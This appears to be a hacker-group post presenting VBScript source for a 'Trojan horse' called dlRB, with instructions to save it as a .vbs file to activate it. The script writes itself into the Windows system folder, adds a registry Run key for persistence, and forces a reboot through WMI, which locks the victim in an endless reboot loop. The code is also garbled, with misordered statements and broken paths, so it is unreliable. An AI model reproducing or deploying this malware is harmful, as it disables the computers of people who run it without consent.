73cyf's Trojan horse virus

Trojan script by team 73cyf-scriptwriters[zeromaker]

note the following copy all the source into notepad save as. vbs (if you want to activate)

if not let it remain in the file exstensi.txt

exampels: ippamd0_trojanHorse.VBS



Copy all the source below:
----- codes are italicized

brakes - dlRB "DL Reboot" Trojan script by 73cyf.



On Error Resume Next

FSobj dim, sysDir, generateCopy, newfile, fixedCode, procreateCopy, fileData



set FSobj = CreateObject ("Scripting.FileSystemObject")

set sysDir = FSobj.GetSpecialFolder (1)



createRegKey "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ dlRB", sysDir & "\ dlRB.vbs"



sub createRegKey (regkey, regVal)

set regedit = CreateObject ("WScript.Shell")

regEdit.RegWrite regkey, regVal

end sub



set generateCopy = FSobj.CreateTextFile (sysDir + "\ dlRB.vbs")

generateCopy.close



set newfile = FSobj.OpenTextFile (WScript.ScriptFullname, 1)

setFile ()

fixedCode = replace (fileData, chr (94), "" "")



set procreateCopy = FSobj.OpenTextFile (sysDir + "\ dlRB.vbs", 2)

procreateCopy.write fixedCode

procreateCopy.close



rebootSystem ()



setFile function ()

fileData = "rem - ^ ^ by D.L. dlRB" & vbCrLf & _

"strComputer = ^. ^" & vbCrLf & _

"Set objWMIService = GetObject (winmgmts ^: ^ _" & vbCrLf & _

"& ^ {ImpersonationLevel = impersonate, (Shutdown)}! \ \ ^ & ^ & StrComputer \ root \ cimv2 ^)" & vbCrLf & _

"Set colOperatingSystems = objWMIService.ExecQuery _ '& vbCrLf & _

"(Select * from Win32_OperatingSystem ^ ^)" & vbCrLf & _

"For Each objOperatingSystem in colOperatingSystems" & vbCrLf & _

"ObjOperatingSystem.Reboot ()" & vbCrLf & _

"Next"

end function



rebootSystem function ()

strComputer = "."



Set objWMIService = GetObject ("winmgmts:" _

& "{ImpersonationLevel = impersonate, (Shutdown)}! \ \" & StrComputer & "\ root \ cimv2")



Set colOperatingSystems = objWMIService.ExecQuery _

("Select * from Win32_OperatingSystem")



For Each objOperatingSystem in colOperatingSystems

ObjOperatingSystem.Reboot ()

Next

end function



yes ... do not forget saved., J

e 29.01.2014

---------------------------------------------------------knox d3cryptor/Team 73cyf